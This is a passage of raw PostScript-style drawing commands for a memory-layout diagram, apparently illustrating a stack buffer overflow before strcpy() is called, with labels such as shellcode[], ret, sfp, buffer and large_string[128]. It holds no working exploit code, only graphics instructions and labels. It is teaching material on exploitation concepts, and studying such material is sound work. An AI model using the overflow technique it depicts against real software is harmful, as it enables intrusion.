1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7566 M 3718 7566 L 3718 7556 L 1708 7556 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7556 M 3718 7556 L 3718 7550 L 1708 7550 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7550 M 3718 7550 L 3718 7540 L 1708 7540 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7540 M 3718 7540 L 3718 7533 L 1708 7533 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7533 M 3718 7533 L 3718 7526 L 1708 7526 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7526 M 3718 7526 L 3718 7520 L 1708 7520 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7520 M 3718 7520 L 3718 7510 L 1708 7510 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7513 M 3718 7513 L 3718 7503 L 1708 7503 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7503 M 3718 7503 L 3718 7496 L 1708 7496 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7496 M 3718 7496 L 3718 7490 L 1708 7490 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7490 M 3718 7490 L 3718 7480 L 1708 7480 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7480 M 3718 7480 L 3718 7473 L 1708 7473 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7473 M 3718 7473 L 3718 7466 L 1708 7466 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7466 M 3718 7466 L 3718 7456 L 1708 7456 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7456 M 3718 7456 L 3718 7450 L 1708 7450 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7450 M 3718 7450 L 3718 7443 L 1708 7443 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7443 M 3718 7443 L 3718 7436 L 1708 7436 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7436 M 3718 7436 L 3718 7426 L 1708 7426 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7426 M 3718 7426 L 3718 7420 L 1708 7420 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7420 M 3718 7420 L 3718 7413 L 1708 7413 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7413 M 3718 7413 L 3718 7406 L 1708 7406 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7406 M 3718 7406 L 3718 7396 L 1708 7396 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7396 M 3718 7396 L 3718 7390 L 1708 7390 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7390 M 3718 7390 L 3718 7383 L 1708 7383 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7383 M 3718 7383 L 3718 7376 L 1708 7376 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7376 M 3718 7376 L 3718 7366 L 1708 7366 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7366 M 3718 7366 L 3718 7360 L 1708 7360 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7360 M 3718 7360 L 3718 7353 L 1708 7353 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7353 M 3718 7353 L 3718 7346 L 1708 7346 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7346 M 3718 7346 L 3718 7336 L 1708 7336 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7336 M 3718 7336 L 3718 7330 L 1708 7330 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7330 M 3718 7330 L 3718 7323 L 1708 7323 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7323 M 3718 7323 L 3718 7313 L 1708 7313 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7313 M 3718 7313 L 3718 7306 L 1708 7306 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7306 M 3718 7306 L 3718 7300 L 1708 7300 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7300 M 3718 7300 L 3718 7293 L 1708 7293 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7293 M 3718 7293 L 3718 7283 L 1708 7283 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7283 M 3718 7283 L 3718 7276 L 1708 7276 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7276 M 3718 7276 L 3718 7270 L 1708 7270 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7270 M 3718 7270 L 3718 7263 L 1708 7263 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7263 M 3718 7263 L 3718 7253 L 1708 7253 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7253 M 3718 7253 L 3718 7246 L 1708 7246 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7246 M 3718 7246 L 3718 7240 L 1708 7240 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7240 M 3718 7240 L 3718 7230 L 1708 7230 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7233 M 3718 7233 L 3718 7223 L 1708 7223 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7223 M 3718 7223 L 3718 7216 L 1708 7216 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7216 M 3718 7216 L 3718 7210 L 1708 7210 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7210 M 3718 7210 L 3718 7203 L 1708 7203 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7203 M 3718 7203 L 3718 7193 L 1708 7193 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7193 M 3718 7193 L 3718 7186 L 1708 7186 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7186 M 3718 7186 L 3718 7176 L 1708 7176 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1715 7676 M 3718 7676 L 3718 7180 L 1715 7180 L 1715 7676 L 3718 7676 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7456 M 3722 7456 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 37 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7680 M 3722 7680 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2603 7602 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2615 9858 M (argc) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9683 M 3722 9683 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 37 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2642 7315 M (bss) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9966 M 1708 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 3718 9966 M 3718 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9963 M 3722 9963 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7180 M 3722 7180 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 9126 M 3722 9126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 8126 M 3722 8126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2337 7834 M (shellcode[]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2604 9004 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2606 9286 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2436 8724 M (long_ptr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2185 7045 M (before strcpy\(\) is called) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 7903 M 3722 7903 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 2136 8055 M (large_string[128]) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 8346 M 3722 8346 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1708 8570 M 3722 8570 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2510 8281 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 2669 8498 M (i) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 1712 8740 M 1205 8740 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1208 8740 M 1208 8013 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1205 8016 M 1658 8016 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1638 7986 M 1652 8016 L 1638 8046 L 1708 8016 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1542 8296 M 1542 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1712 8293 M 1538 8293 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1538 8070 M 1658 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1638 8040 M 1652 8070 L 1638 8100 L 1708 8070 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1538 7960 M 1658 7960 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1638 7930 M 1652 7960 L 1638 7990 L 1708 7960 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1542 7963 M 1542 7790 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 1712 7793 M 1538 7793 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 1185 8448 M (\(X32\)) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 5012 9956 M 7005 9956 L 7005 7183 L 5012 7183 L 5012 9956 L 7005 9956 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5931 7612 M (bss) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7456 M 5002 7740 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 7008 7456 M 7008 7740 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7456 M 7011 7456 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7176 M 5002 7460 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 7008 7176 M 7008 7460 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8850 M 7011 8850 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9963 M 7011 9963 L 7011 9956 L 5002 9956 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9956 M 7011 9956 L 7011 9946 L 5002 9946 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9946 M 7011 9946 L 7011 9940 L 5002 9940 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9940 M 7011 9940 L 7011 9930 L 5002 9930 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9930 M 7011 9930 L 7011 9923 L 5002 9923 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9923 M 7011 9923 L 7011 9913 L 5002 9913 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9913 M 7011 9913 L 7011 9906 L 5002 9906 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9906 M 7011 9906 L 7011 9896 L 5002 9896 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9896 M 7011 9896 L 7011 9890 L 5002 9890 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9890 M 7011 9890 L 7011 9880 L 5002 9880 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9880 M 7011 9880 L 7011 9870 L 5002 9870 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9870 M 7011 9870 L 7011 9863 L 5002 9863 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9863 M 7011 9863 L 7011 9856 L 5002 9856 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9856 M 7011 9856 L 7011 9846 L 5002 9846 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9846 M 7011 9846 L 7011 9836 L 5002 9836 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9836 M 7011 9836 L 7011 9830 L 5002 9830 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9830 M 7011 9830 L 7011 9820 L 5002 9820 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9820 M 7011 9820 L 7011 9813 L 5002 9813 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9813 M 7011 9813 L 7011 9803 L 5002 9803 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9803 M 7011 9803 L 7011 9796 L 5002 9796 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9796 M 7011 9796 L 7011 9786 L 5002 9786 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9786 M 7011 9786 L 7011 9780 L 5002 9780 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9780 M 7011 9780 L 7011 9770 L 5002 9770 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9770 M 7011 9770 L 7011 9763 L 5002 9763 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9763 M 7011 9763 L 7011 9753 L 5002 9753 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9753 M 7011 9753 L 7011 9743 L 5002 9743 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9746 M 7011 9746 L 7011 9736 L 5002 9736 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9736 M 7011 9736 L 7011 9730 L 5002 9730 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9730 M 7011 9730 L 7011 9720 L 5002 9720 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9720 M 7011 9720 L 7011 9710 L 5002 9710 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9713 M 7011 9713 L 7011 9703 L 5002 9703 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9703 M 7011 9703 L 7011 9693 L 5002 9693 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 